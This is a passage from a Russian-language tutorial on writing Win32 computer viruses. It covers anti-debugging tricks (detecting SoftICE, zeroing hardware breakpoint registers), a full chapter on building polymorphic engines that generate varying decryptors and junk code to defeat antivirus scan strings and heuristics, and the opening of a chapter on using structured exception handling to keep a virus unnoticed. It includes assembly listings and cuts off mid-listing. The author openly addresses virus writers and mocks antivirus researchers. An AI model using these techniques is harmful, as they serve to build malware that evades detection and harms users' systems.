        push    offset szMessage
        push    00h
        call    MessageBoxA

        push    00h                             ; Завершаем программу
        call    ExitProcess

PutFound:
        mov     ecx,0Bh                         ; Изменяем "not found" на
        lea     esi,nfnd                        ; "found"; адрес, где нужно
        rep     movsb                           ; совершить изменение находится
                            ; в EDI
        ret

end     DetectSoftICE

;---[ CUT HERE ]-------------------------------------------------------------

Это действительно работает, поверьте мне :). Тот же метод можно применить к другим враждебным драйвером, просто сделайте небольшое исследование на этот счет.

Win9x: Убить хардверные брикпоинты отладчика

Если ваc беспокоят отладочные регистры (DR?), мы сталкиваемся с небольшой проблемой: они привилегированны в WinNT. Прием состоит в следующей простой вещи: обнулить DR0, DR1, DR2 и DR3 (они наиболее часто используются отладчиками в качестве хардверных брикпоинтов). Поэтому следующим кодом вы доставите отладчику немного неприятностей:

        xor     edx,edx
        mov     dr0,edx
        mov     dr1,edx
        mov     dr2,edx
        mov     dr3,edx

Хаха, разве это не смешно? :)

Заключительные слова

Я надеюсь, что вы сможете использовать эти несколько простых антиотладочных приемов в ваших вирусах без особых проблем.


Путеводитель по написанию вирусов под Win32: 9. Win32-полиморфизм

9. Win32-полиморфизм

Многие люди сказали мне, что самым слабым местом в моем путеводителе под MS-DOS была глава, посвященная полиморфизму (ммм, я написал ее, когда мне было 15, и тогда я знал ассемблер только 1 месяц). По этой причине я решил попытаться написать новую главу абсолютно с нуля. С тех пор я прочел много различных документов о полиморфизме и больше всего меня потряс Qozah'овский. Хотя он очень простой, все концепции полиморфизма, которые необходимы для создания полиморфных движков, объясняются в нем очень хорошо (если вы хотите прочитать его, скачайте DDT#1 с какого-нибудь хорошего VX-сайта). В некоторых частях этой главы я буду делать пояснения для полных ламеров, поэтому если у вас уже есть основные знания, пропустите их!

Введение

Основная причина существования полиморфизма - это, как обычно, существование антивирусов. Во времена, когда не было полиморфных движков, антивирусы использовали простую сканстроку для обнаружения вирусов и самое великое, что тогда было - это зашифрованные вирусы. В один день у одного вирмейкера родилась замечательная идея. Я уверен, что он подумал: "Почему бы не сделать несканируемый, по крайней мере нынешними (т.е. тогдашними - прим. пер.) средствами"?. Так родился полиморфизм. Полиморфизм является попыткой убрать все повторяющиеся байты в единственной части зашифрованного вируса, которая может быть просканирована: в декрипторе. Да, полиморфизм означает построение изменяющихся раз от раза декриптор вируса. Хех, просто и эффективно. Это основная концепция: никогда не строить два одинаковых расшифровщика (в идеале), но выполнять одно и то же действие. Это естественное расширение техники шифрования: декрипторы недостаточно коротки, чтобы нельзя было использовать сканстроку, но с полиморфизмом она становится бесполезна.

Уровни полиморфизма

У каждого уровня полиморфизма есть свое имя, данное ему людьми из AV-индустрии. Давайте посмотрим небольшую цитату из AVPVE.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Существует система деления полиморфных вирусов на уровни, согласно сложности кода декриптора этих вирусов. Эта система была представлена д-ром Аланом Соломоном, а затем улучшена Весселином Бонтчевым.

Уровень 1: У вируса есть набор декрипторов с постоянным кодом, один из которых выбирается при заражении. Такие вирусы называеются "полуполиморфными" или "олигоморфными".

Примеры: "Cheeba", "Slovakia", "Whale".

Уровень 2: декриптор вируса содержит одну или более постоянную инструкцию, остальное изменяется.

Уровень 3: декриптор содержит неиспользуемые функции - "мусор", такой как NOP, CLI, STI и так далее.

Уровень 4: декриптор использует равнозначные инструкции и изменяет их порядок. Алгоритм расшифровки остается неизменным.

Уровень 5: используются все вышеперечисленные техники, алгоритм расшифровки меняется, возможно неоднократное шифрование кода вируса и даже частичное шифрование кода декриптора.

Уровень 6: пермутирующие вирусы. Основной код вируса также меняется, он поделен на блоки, которые меняют свое местоположение при заражении. При этом вирус продолжает работать. Некоторые вирусы могут быть незашифрованны.

У такого разделения есть свои недостатки, так как основной критерий - это возможность детектирования вируса согласно коду генератора с помощью условной техники вирусных масок:

Уровень 1: чтобы обнаружить вирус достаточно иметь несколько масок

Уровень 2: обнаружение вируса производится с помощью маски, используя "wild card'ы".

Уровень 3: обнаружение вируса производиться с помощью маски после удаления "мусорных" инструкций.

Уровень 4: маска содержит несколько версий возможного кода, то есть он становится алгоритмичным

Уровень 5: невозможность обнаружения вируса с помощью масок.

Недостаточность такого деления продемонстрирована в вирусе третьего уровня полиморфизма, который называется соответствующим образом - "Level3". Этот вирус, будучи одним из самых сложных полиморфных вирусов, попадает в третью категорию, потому что у него постоянный алгоритм расшифровки, предшествуемый большим количеством мусорных инструкций. Тем не менее, в этом вирусе алгоритм генерации мусора близок к совершенству: в коде декриптора можно найти почти все инструкции i8086.

Если делить вирусы на уровни с точки зрения антивирусов, использующие системы автоматической расшифровки кода вирусов (эмуляторов), тогда это деление будет зависеть от сложности кода. Другие техники обнаружения вирусов также возможны, например, расшифровка с помощью основных законов математики и так далее.

Поэтому, на мой взгляд, деление будет более объективным, если кроме вирусной маски в расчет будут приниматься другие параметры.

1. Степень сложности полиморфного кода (процент всех инструкций процессора, которые можно встретить в коде декриптора) 2. Использование техник антиэмуляции 3. Постоянность алгоритма расшифровки 4. Постоянность размера декриптора

Я не буду объяснять эти вещи более детально, поскольку в результате это заставить вирмейкеров создавать монстров подобного рода.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Ха-ха, Евгений. Я сделаю! ;) Разве не приятно, когда один из AVеров делает чужую работу? :)

Как я могу сделать полиморф?

Во-первых, вы должны представлять себе, как выглядит расшифровщик. Например:

        mov     ecx,virus_size
        lea     edi,pointer_to_code_to_crypt
        mov     eax,crypt_key
 @@1:   xor     dword ptr [edi],eax
        add     edi,4
        loop    @@1

Очень простой пример, да? Ладно, здесь у нас шесть блоков (каждая инструкция - это блок). Представьте, как много у вас возможностей сделать этот код другим:

- Изменять регистры - Изменять порядок первых трех инструкций - Использовать разные инструкции, чтобы делать одно и то же - Вставить ничего не делающие инструкции - Вставить мусор и так далее

Это основная идея полиморфизма. Давайте посмотрим, что может сгенерировать простой полиморфный движок на основе того же декриптора:

        shl     eax,2
        add     ebx,157637369h
        imul    eax,ebx,69
 (*)    mov     ecx,virus_size
        rcl     esi,1
        cli
 (*)    lea     edi,pointer_to_code_to_crypt
        xchg    eax,esi
 (*)    mov     eax,crypt_key
        mov     esi,22132546h
        and     ebx,0FF242569h
 (*)    xor     dword ptr [edi],eax
        or      eax,34548286h
        add     esi,76869678h
 (*)    add     edi,4
        stc
        push    eax
        xor     edx,24564631h
        pop     esi
 (*)    loop    00401013h
        cmc
        or      edx,132h
        [...]

Вы уловили идею? Конечно, поймать антивирусу подобный декриптор не будет слишком трудно (хотя и значительно труднее, чем незащищенный вирус). Здесь можно сделать много улучшений, поверьте мне. Я думаю, что вы уже поняли, что в вашем полиморфном движке нам понадобятся разные процедуры: одна для создания "легитимных" инструкций декриптора, а другая - для создания мусора. Это основная идея написания полиморфных движков. С этого момента я попытаюсь объяснить все это настолько хорошо, насколько могу.

Очень важная вещь: ГСЧ

Да, наиболее важная вещь полиморфного движка - это генератор случайных чисел ака ГСЧ. ГСЧ - это кусок кода, который возвращает случайное число. Далее идет пример типичного ГСЧ под DOS, который работает также под Win9X, даже под Ring-3, но не в NT.

 random:
        in      eax,40h
        ret

Это возвратит верхнем слове EAX ноль, а в нижнем - случайное значение. Но это не очень мощный ГСЧ... Нам нужен другой... и это остается на вас. Единственное, что я могу сделать для вас - это помочь вам узнать, насколько мощен ваш генератор с помощью прилагаемой маленькой программы. Она "рипнута" из полезной нагрузки Win32.Marburg (GriYo/29A), и тестирует ГСЧ этого вируса. Конечно, этот код был адаптирован и почищен, так чтобы он легко компилировался и запускался.

;---[ CUT HERE ]-------------------------------------------------------------
;
; Тестировщик ГСЧ
;  ---------------
;
; Если иконки на экране расположены действительно "случайным" образом, значит,
; ГСЧ хороший, но если они сгруппированы в одном участке экрана, или вы
; заметили странную последовательность в расположении иконок на экране,
; попробуйте другой ГСЧ.
;

        .386
        .model  flat

res_x   equ     800d                            ; Горизонтальное разрешение
res_y   equ     600d                            ; Вертикальное разрешение

extrn   LoadLibraryA:PROC                       ; Все APIs, которые нужны
extrn   LoadIconA:PROC                          ; тестировщику ГСЧ
extrn   DrawIcon:PROC
extrn   GetDC:PROC
extrn   GetProcAddress:PROC
extrn   GetTickCount:PROC
extrn   ExitProcess:PROC

        .data

szUSER32        db      "USER32.dll",0          ; USER32.DLL ASCIIz-строка

a_User32        dd      00000000h               ; Требуемые переменные
h_icon          dd      00000000h
dc_screen       dd      00000000h
rnd32_seed      dd      00000000h
rdtsc           equ

        .code

RNG_test:
        xor     ebp,ebp                         ; Вах, я ленив и не удалил
                                                ; индексацию из кода...
                                                ; Есть проблемы?

        rdtsc
        mov     dword ptr [ebp+rnd32_seed],eax

        lea     eax,dword ptr [ebp+szUSER32]
        push    eax
        call    LoadLibraryA

        or      eax,eax
        jz      exit_payload

        mov     dword ptr [ebp+a_User32],eax

        push    32512
        xor     edx,edx
        push    edx
        call    LoadIconA
        or      eax,eax
        jz      exit_payload

        mov     dword ptr [ebp+h_icon],eax

        xor     edx,edx
        push    edx
        call    GetDC
        or      eax,eax
        jz      exit_payload
        mov     dword ptr [ebp+dc_screen],eax

        mov     ecx,00000100h                   ; Помещаем 256 иконок на экран

loop_payload:

        push    eax
        push    ecx
        mov     edx,eax
        push    dword ptr [ebp+h_icon]
        mov     eax,res_y
        call    get_rnd_range
        push    eax
        mov     eax,res_x
        call    get_rnd_range
        push    eax
        push    dword ptr [ebp+dc_screen]
        call    DrawIcon
        pop     ecx
        pop     eax
        loop    loop_payload

exit_payload:
        push    0
        call    ExitProcess

; RNG - Этот пример создан GriYo/29A (смотри Win32.Marburg)
;
; Чтобы проверить валидность вашего RNG, помещайте его код здесь ;)
;

random  proc
        push    ecx
        push    edx
        mov     eax,dword ptr [ebp+rnd32_seed]
        mov     ecx,eax
        imul    eax,41C64E6Dh
        add     eax,00003039h
        mov     dword ptr [ebp+rnd32_seed],eax
        xor     eax,ecx
        pop     edx
        pop     ecx
        ret
random  endp

get_rnd_range proc
        push    ecx
        push    edx
        mov     ecx,eax
        call    random
        xor     edx,edx
        div     ecx
        mov     eax,edx
        pop     edx
        pop     ecx
        ret
get_rnd_range endp

end     RNG_test

;---[ CUT HERE ]-------------------------------------------------------------

Интересно, по крайней мере мне, смотреть за тем, как ведут себя различные арифметические операции :).

Основные концепции полиморфного движка

Я думаю, что вы должны уже знать, то что я собираюсь объяснить, поэтому если вы уже писали полиморфные движки или знаете, как его создать, я рекомендую вам пропустить эту часть.

Ладно, прежде всего мы должны сгенерировать код во временный буфер (обычно где-то в куче), но вы также можете зарезервировать память с помощью функций VirtualAlloc или GlobalAlloc. Мы должны поместить указатель на начало этого буфера, обычно это регистр EDI, так как он используется семейством инструкций STOS. В буфер мы будем помещать байты опкодов. Ок, ок, я приведу небольшой пример.

;---[ CUT HERE ]-------------------------------------------------------------
;
; Silly PER basic demonstrations (I)
;  ----------------------------------
;

        .386                                    ; Blah
        .model  flat

        .data

shit:

buffer  db      00h

        .code

Silly_I:

        lea     edi,buffer       ; Указатель на буфер
        mov     al,0C3h          ; Байт, который нужно записать, находится в AL
        stosb                    ; Записать содержимое AL туда, куда указывает
                                 ; EDI
        jmp     shit             ; Байт, который мы записали, C3, является
                                 ; опкодом инструкции RET, т.е. мы заканчиваем
                                 ; выполнение

end     Silly_I

;---[ CUT HERE ]-------------------------------------------------------------

Скомпилируйте предыдущий исходник и посмотрите, что произойдет. А? Он не делает ничего, я знаю. Но вы видите, что вы сгенерировали код, а не просто написали его в исходнике, и я продемонстрировал вам, что вы можете генерировать код из ничего. Подумайте о возможностях - вы можете генерировать полезный код из ничего в буфер. Это базовая основа полиморфных движков - так и происходит генерация кода расшифровщика. Теперь представьте, что мы хотим закодировать что-нибудь вроде следующего набора инструкций:

        mov     ecx,virus_size
        mov     edi,offset crypt
        mov     eax,crypt_key
 @@1:   xor     dword ptr [edi],eax
        add     edi,4
        loop    @@1

Соответственно, код для генерации декриптора с нуля будет примерно следующим:

        mov     al,0B9h             ; опкод MOV ECX,imm32
        stosb                       ; сохраняем AL, куда указывает EDI
        mov     eax,virus_size      ; Число, которое нужно сохранить
        stosd                       ; сохранить EAX, куда указывает EDI
        mov     al,0BFh             : опкод MOV EDI,offset32
        stosb                       ; сохраняем AL, куда указывает EDI
        mov     eax,offset crypt    ; 32-х битное сохраняемое смещение
        stosd                       ; сохраняем EAX, куда указывает EDI
        mov     al,0B8h             ; опкод MOV EAX,imm32
        stosb                       ; сохраняем AL, куда указывает EDI
        mov     eax,crypt_key       ; Imm32, который нужно сохранить
        stosd                       ; сохраняем EAX, куда указывает EDI
        mov     ax,0731h            ; опкод XOR [EDI],EAX
        stosw                       ; сохраняем AX, куда указывает EDI
        mov     ax,0C783h           ; опкод ADD EDI,imm32 (>7F)
        stosw                       ; сохраняем AX, куда указывает EDI
        mov     al,04h              ; Сохраняемый Imm32 (>7F)
        stosb                       ; сохраняем AL, куда указывает EDI
        mov     ax,0F9E2h           ; опкод LOOP @@1
        stosw                       ; сохраняем AX, куда указывает EDI

Ладно, так вы сгенерируете нужный вам код, но, надеюсь, вы поняли, что добавить ничего не делающие инструкции между полезными очень легко. Используется тот же метод. Вы можете поэкспериментировать с однобайтовыми инструкциями, чтобы оценить их возможности.

;---[ CUT HERE ]-------------------------------------------------------------
;
; Silly PER basic demonstrations (II)
;  -----------------------------------
;

        .386                                    ; Blah
        .model  flat

virus_size      equ     12345678h               ; Фальшивые данные
crypt           equ     87654321h
crypt_key       equ     21436587h

        .data

        db      00h

        .code

Silly_II:

        lea     edi,buffer                  ; Указатель на буфер - это код
                                            ; возврата, мы заканчиваем
                                            ; выполнение

        mov     al,0B9h                     ; Опкод MOV ECX,imm32
        stosb                               ; Сохранить AL, куда указ. EDI
        mov     eax,virus_size              ; Непоср. знач., к-рое нужно сохр.
        stosd                               ; Сохр. EAX, куда указывает EDI

        call    onebyte

        mov     al,0BFh                     ; Опкод MOV EDI, offset32
        stosb                               ; Сохр. AL, куда указывает EDI
        mov     eax,crypt                   ; Offset32, который нужно сохранить
        stosd                               ; Сохр. EAX, куда указывает EDI

        call    onebyte

        mov     al,0B8h                     ; MOV EAX,imm32
        stosb                               ; Сохр. AL, куда указывает EDI
        mov     eax,crypt_key
        stosd                               ; Сохр. EAX, куда указывает EDI

        call    onebyte

        mov     ax,0731h                    ; Опкод XOR [EDI],EAX
        stosw                               ; Сохр. AX, куда указывает EDI

        mov     ax,0C783h                   ; Опкод ADD EDI,imm32 (>7F)
        stosw                               ; Сохр. AX, куда указывает EDI
        mov     al,04h                      ; Imm32 (>7F), который нужно сохр.
        stosb                               ; Сохр. AL, куда указывает EDI

        mov     ax,0F9E2h                   ; Опкод LOOP @@1
        stosw                               ; Сохр. AX, куда указывает EDI

        ret

random:
        in      eax,40h                     ; Чертов RNG
        ret

onebyte:
        call    random                      ; Получаем случайное число
        and     eax,one_size                ; Сделать его равным [0..7]
        mov     al,[one_table+eax]          ; Получить опкод в AL
        stosb                               ; Сохр. AL, куда указывает EDI
        ret

one_table       label byte                  ; Таблица однобайтных инструкций
        lahf
        sahf
        cbw
        clc
        stc
        cmc
        cld
        nop
one_size        equ     ($-offset one_table)-1

buffer  db      100h dup (90h)              ; Простой буфер

end     Silly_II

;---[ CUT HERE ]-------------------------------------------------------------

Хех, я сделал полиморфизм слабого 3-его уровня, склоняющегося ко 2-ому ;) Йоу! Обмен регистров будет объяснен позже вместе с формированием кодов. Цель этой маленькой подглавы выполнена: вы должны были получить общее представление о том, что мы хотим сделать. Представьте, что вместо однобайтовых инструкций вы используете двухбайтовые, такие как PUSH REG/POP REG, CLI/STI и так далее.

Генерация "настоящего" кода

Давайте взглянем на наш набор инструкций.

        mov     ecx,virus_size                  ; (1)
        lea     edi,crypt                       ; (2)
        mov     eax,crypt_key                   ; (3)
 @@1:   xor     dword ptr [edi],eax             ; (4)
        add     edi,4                           ; (5)
        loop    @@1                             ; (6)

Чтобы выполнить то же самое действие, но с помощью другого кода, можно сделать много разных вещей, и это является нашей целью. Например, первые три инструкции можно сгруппировать другим способом с тем же результатом, поэтому вы можете создать функцию для рандомизации их порядка. И мы можем использовать любой набор регистров без особых проблем. И мы можем использовать вместо loop dec/jnz... И так далее, и так далее...

- Ваш код должен уметь генерировать, например, что-то вроде следующего для выполнения одной простой инструкции. Давайте подумаем насчет первого mov:

        mov     ecx,virus_size

или

        push    virus_size
        pop     ecx

или

        mov     ecx,not (virus_size)
        not     ecx

или

        mov     ecx,(virus_size xor 12345678h)
        xor     ecx,12345678h

и так далее, и так далее...

Все это будет генерироваться с помощью разных опкодов, но будет выполнять одну и ту же работу, а именно - помещать в ECX размер вируса. Конечно, здесь есть миллиард возможностей, потому вы можете использовать огромное количество инструкций для помещения инструкции в регистр. Это требует большого воображения с вашей стороны.

- Другое, что можно сделать - это изменить порядок инструкций. Как я уже сказал раньше, вы можете это сделать без особых проблем, потому что порядок для них не играет роли. Поэтому, вместо набора инструкций 1,2,3 мы легко можем сделать 3,1,2 или 1,3,2 и т.д. Просто дайте волю вашему воображению.

- Также очень важно делать обмен регистров, так как тогда опкоды тоже могут меняться (например, 'MOV EAX, imm32' кодируется как 'B8 imm32', а 'MOV ECX, imm32' кодируется как 'B9 imm32'). Вам следует использовать 3 регистра для декриптора из 7, которые мы можем использовать (никогда не используйте ESP!!!). Например, представьте, что выбрали (случайно) 3 регистра. EDI в качестве базового указателя, EBX в качестве ключа, а ESI - в качестве счетчика; тогда мы можем использовать EAX, ECX, EDX и EBP в качестве мусорных регистров для генерации мусорных инструкций. Давайте посмотрим пример кода, в котором выбираются 3 регистра для генерации нашего декриптора:

 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 InitPoly       proc

 @@1:   mov     eax,8                           ; Получить случайный регистр
        call    r_range                         ; EAX := [0..7]

        cmp     eax,4                           ; Это ESP?
        jz      @@1                             ; Если да, получаем другой

        mov     byte ptr [ebp+base],al          ; Сохраняем его
        mov     ebx,eax                         ; EBX = базовый регистр

 @@2:   mov     eax,8                           ; Получаем случайный регистр
        call    r_range                         ; EAX := [0..7]

        cmp     eax,4                           ; Это ESP?
        jz      @@2                             ; Если да, получаем другой

        cmp     eax,ebx                         ; Равен базовому указателю?
        jz      @@2                             ; Если да, получаем другой

        mov     byte ptr [ebp+count],al         ; Сохраняем его
        mov     ecx,eax                         ; ECX = Регистр-счетчик

 @@3:   mov     eax,8                           ; Получаем случайный регистр
        call    r_range                         ; EAX := [0..7]

        cmp     eax,4                           ; Это ESP?
        jz      @@3                             ; Если да, получаем другой

        cmp     eax,ebx                         ; Равен регистру базового указ.?
        jz      @@3                             ; Если да, получаем другой

        cmp     eax,ecx                         ; Равен регистру-счетчику?
        jz      @@3                             ; Если да, получаем другой

        mov     byte ptr [ebp+key],al           ; Сохраняем его

        ret

 InitPoly       endp
 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Теперь у вас в трех переменных три разных регистра, которые мы можем использовать без особых проблем. С регистром EAX у нас возникнет проблема, не очень большая, но тем не менее. Как вы знаете, некоторые инструкции имеют оптимизированный опкод для работы с этим регистром. Если же вместо этих опкодов использовать обычные, антиэвристик заметит, что инструкция была построена "неправильным" путем, как бы никогда не сделал "настоящий" ассемблер. У вас есть два выхода: если вы все еще хотите использовать EAX в качестве одного из "активных" регистров в вашем код, вам следует учитывать этот момент и генерировать соответствующие опкоды. Либо вы можете просто избегать использования EAX в качестве одного из регистров, используемых в декрипторе, а использовать его только при генерации мусора, применяя оптимизированные опкоды (прекрасным выбором будет построение соответствующей таблицы). Мы рассмотрим это позже. Для игр с мусором я рекомендую использовать маску регистров.

Генерация мусора

Качество мусора на 90% - качество вашего полиморфного движка. Да, я сказал "качество", а не "количество", как вы могли подумать. Во-первых, я покажу вам две возможности, которые у вас есть при написании полиморфного движка:

- Генерирование реалистичного кода, похожего на "законный" код приложения. Например, движки GriYo.

- Генерировать так много инструкций, как это возможно, похожего на поврежденный файл (с использованием сопроцессора). Например, MeDriPoLen Mental Driller'а.

Ок, тогда давай начнет:

¦ Общее для обоих случаев:

- CALL'ы (и CALL'ы внутри CALL'ов внутри CALL'ов...) множеством различных путей - Безусловные переходы

¦ Реалистичность:

"Реалистичное" - это то, что выглядит как настоящее, хотя и может не являться таковым на самом деле. Я хочу задать вам вопрос: что вы подумаете, если увидите огромное количество кода без CALL'ов и JUMP'ов? Что, если после CMP не будет условного перехода? Это практически невозможно, о чем знаем и мы и AV. Поэтом мы должны ументь все эти виды мусорных структур:

- CMP/Условные переходы - TEST/Условные переходы - Всегда использовать оптимизированные опкоды при работе с EAX - Работа с памятью - Генерирование структур PUSH/мусор/POP - Использование очень маленького количества однобайтовых инструкций (если вообще их использовать)

¦ Mental Drillism... гхрм... Поврежденный код выглядит следующим образом:

Декриптор наполнен всякой чепухой, опкодами не похожие на код, ничего не делающими инструкциями сопроцессора и, конечно, используется так много опкодов, как это возможно.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Ладно, теперь я попытаюсь объяснить все этапы генерации кода. Во-первых, давайте начнем с того, что относится к CALL'ам и безусловным переходам.

• Что касается первого, это очень просто. Вызов подпрограмм можно осуществить разными путями:

Конечно, вы можете смешивать эти способы, получив, как результат множество способов сделать подпрограмму внутри декриптора. Конечно, вы можете сделать рекурсию (о чем я еще буду говорить в дальнейшем), должны быть CALL'ы внутри других CALL'ов и это все внутри еще одного CALL и так далее... Уфф. Сплошная головная боль.

Между прочим, будет неплохо сохранять смещения некоторых из этих процедур и вызывать их где-нибудь в сгенерированном коде.

• Безусловные переходы - это тоже очень легко, так как нам не нужно заботиться об инструкциях между переходом и тем, куда он переходит - туда мы можем вставлять всякий мусор.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Теперь я собираюсь обсудить реалистичность кода. GriYo можно назвать автором лучших движков в этой области; если вы видели движки Marburg'а или HPS, вы поймете, что несмотря на их простоту, GriYo стремится к тому, чтобы код выглядел как можно более настоящим, и это AV бесятся, когда пытаются разработать надежный алгоритм против таких движков. Ок, давайте начнем с основных моментов:

• Со структурой 'CMP/Условный переход' все понятно, потому что никогда не следует использовать сравнение без последующего условного перехода... Ок, но попытайтесь сделать переходы с ненулевым смещением, сгенерируйте какой-нибудь мусор между условным переходом и смещением, куда будет передан контроль (или не будет), и код станет менее подозрительным в глазах анализатора.

• То же самое касается TEST, но использовать следует JZ или JNZ, потому что, как вам известно, TEST влияет только на нулевой флаг.

• Очень легко сделать ошибку при использовании регистров AL/AX/EAX, так как для них существуют специальные оптимизированные опкоды. В качестве примеров могут выступать следующие инструкции:

ADD, OR, ADC, SBB, AND, SUB, XOR, CMP и TEST (Непосредственное значение в регистр).

• Касательно адресов памяти - хорошим выбором будет получить по крайней мере 512 байтовв зараженном файле, поместить их где-нибудь в вирусе и сделать доступными для чтения и записи. Постарайтесь использовать кроме простого индексирования еще и двойное, и если ваш разум может принять это, попытайтесь использовать двойное индексирование с умножением, что-нибудь вроде следующего [ebp+esi*4]. Это не так сложно, как можно подумать, поверьте мне. Вы также можете делать перемещения в памяти с помощью инструкции MOVS, также используйте STOS, LODS, CMPS... Можно использовать все строковые операции, все зависит от вас.

• Структуры PUS/TRASH/POP очень полезны, потому что их легко добавить в движок, и они дают хорошие результаты, в то время как это нормальная структура в законопослушной программе.

• Если количество однобайтных инструкций слишком велико, это может выдать наше присутствие AV или любому человеку. Учтите, что нормальные программы используют их не так часто, поэтому вполне возможно, что лучше добавить проверку для того, чтобы избежать их чрезмерного использования (мне кажется, что приемлимым соотношением будет 1 однобайтовая инструкция на каждые 25 байтов).

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Дальше идет немного менталдриллизма :).

• Вы можете использовать следующие 2-х байтовые инструкции сопроцессора в качестве мусора без каких-либо проблем:

f2xm1, fabs, fadd, faddp, fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp, fdiv, fdivp, fdivr, fdivrp, ffree, fincstp, fld1, fldl2t, fldl2e, fldpi, fldln2, fldz, fmul, fmulp, fnclex, fnop, fpatan, fprem, fprem1, fptan, frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp, ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1.

Просто поместите в начало вируса эти две инструкции, чтобы сбросить сопроцессор:

        fwait
        fninit

Генерация инструкций

Вероятно, это самое важное в полиморфизме: отношения, существующие между одной и той же инструкции с разными регистрами или между разными инструкциями одного семейства. Отношения между ними становятся понятными, если мы преобразуем значения в двоичный формат. Но сначала немного полезной информации:

Я думаю, что моя главная ошибка во время написания моего предыдущего путеводителя заключалась в той части, где я описывал структуру опкодов и тому подобное. Поэтому сейчас я объясню часть того, что вам придется делать самим, так же, как когда я писал свой полиморфный движок. Возьмем в качестве примера опкод XOR...

        xor     edx,12345678h -> 81 F2 78563412
        xor     esi,12345678h -> 81 F6 78563412

Видите различие? Я пишу инструкции, которые мне нужны, использую дебуггер и смотрю, что изменяется раз от раза. Вы можете видеть, что изменился второй байт. Теперь самая забавная часть: переведите эти значения в двоичную форму.

        F2 -> 11 110 010
        F6 -> 11 110 110

Видите, что изменилось? Последние три бита, верно? Ок, теперь переходим к регистрам. Как вы поняли, изменяются три последних бита согласно используемому регистру. Итак...

        010 -> EDX
        110 -> ESI

Просто попытайтесь поместить другое двоичное значение в эти три бита и вы увидите, как изменяется регистр. Но будьте осторожны... не используйте значение EAX (000) с этим опкодом, так как и у всех арифметических операций, у xor есть специальный опкод, оптимизированный для EAX. Кроме того, если вы используете такое значение регистра, эвристик запомнит это (хотя этот опкод будет прекрасно работать).

Поэтому отлаживайте то, что хотите сгенерировать, изучайте взаимоотношения между ними и стройте надежный код для генерирования чего бы то ни было. Это очень легко!

Рекурсивность

Это один из важнейших моментов вашего полиморфного движка. Рекурсия должна иметь ограничение, но в зависимости от этого ограничения отлаживать код будет гораздо труднее (если лимит достаточно высок). Давайте представим, что у нас есть таблица со всеми смещениями всех генераторов мусора:

 PolyTable:
        dd      offset (GenerateMOV)
        dd      offset (GenerateCALL)
        dd      offset (GeneratteJMP)
        [...]
 EndPolyTable:

И представьте, что у вас есть следующая процедура для выбора между ними:

 GenGarbage:
        mov     eax,EndPolyTable-PolyTable
        call    r_range
        lea     ebx,[ebp+PolyTable]
        mov     eax,[ebx+eax*4]
        add     eax,ebp
        call    eax
        ret

Представьте, что внутри процедуры 'GetGarbage' вызываются инструкции, генерирующие вызовы, а внутри них снова вызывается 'GenGarbage', а внутри нее снова вызывается 'GenerateCALL' и снова, и снова (в зависимости от вашего ГСЧ), поэтом у вас будут CALL'ы внутри CALL'ов внутри CALL'ов... Я сказал ранее, что эта штука с ограничением нужна была для того, чтобы избежать проблем со скоростью, но это можно легко решить с помощью новой процедуры 'GenGarbage':

 GenGarbage:
        inc     byte ptr [ebp+recursion_level]
        cmp     byte ptr [ebp+recursion_level],05 ; <- 5 - это уровень
        jae     GarbageExit                       ;    рекурсии

        mov     eax,EndPolyTable-PolyTable
        call    r_range
        lea     ebx,[ebp+PolyTable]
        mov     eax,[ebx+eax*4]
        add     eax,ebp
        call    eax

 GarbageExit:
        dec     byte ptr [ebp+recursion_level]
        ret

Таким образом, наш движок сможет сгенерировать огромное количество одурачивающего противника кода, полного вызовов и всего в таком роде ;). Конечно, это также применимо к PUSH и POP :).

Заключение

Ваш полиморфный движок скажет о вас все как о кодере, поэтому я не буду обсуждать это далее. Просто сделайте это сами вместо копирования кода. Только не делайте типичный движок с простой шифрующей операцией и примитивным мусором вроде MOV и т.д. Используйте все ваше воображение. Например, есть много видов вызовов, которые можно сделать: три стиля (что я объяснял выше), а кроме этого, вы можете генерировать кадры стека, PUSHAD/POPAD, передавать параметры им через PUS (а после использовать RET x) и много другое. Будьте изобретательны!


Путеводитель по написанию вирусов под Win32: 10. Продвинутые Win32-техники

10. Продвинутые Win32-техники

В этой главе я хочу обсудить несколько техник, которые не заслуживают того, чтобы каждой из них выделили по отдельной главе, но тем не менее и полностью забыть о них нельзя :).

  • SEH
  • Мультитредность
  • CRC32 (IT/ET)
  • Антиэмулятор
  • Перезапись секции .reloc

Structured Exception Handler

SEH - это очень классная фича, которая есть во всех средах окружения Win32. Очень легко понять, что она делает: если происходит (general protection fault (сокращенно GPF), контроль автоматически передается текущему SEH-обработчику. Вы видите, насколько это может быть полезным? Если что-то пойдет не так, это позволит вашему вирусу оставаться незамеченным :). Указатель на SEH-обработчик находится в FS:[0000]. Поэтому вы можете легко поместить туда ваш собственный SEH-обработчик (но не забудьте сохранить старый!). Если произойдет ошибка, контроль будет передан вашему SEH-обработчику, но стек накроется. К счастью, Micro$oft помещает стек в том виде, в каком он был до установки нашего SEH-обработчика, в ESP+08 :). Поэтому нам надо будет просто восстановить его и поместить старый SEH-обработчик на его старое место :). Давайте посмотрим небольшой пример использования SEH:

;---[ CUT HERE ]-------------------------------------------------------------

        .386p
        .model  flat                            ; 32 бита рулят

 extrn   MessageBoxA:PROC                ; Задаем API
 extrn   ExitProcess:PROC

        .data

 szTitle        db      "Structured Exception Handler [SEH]",0
 szMessage      db      "Intercepted General Protection Fault!",0

        .code

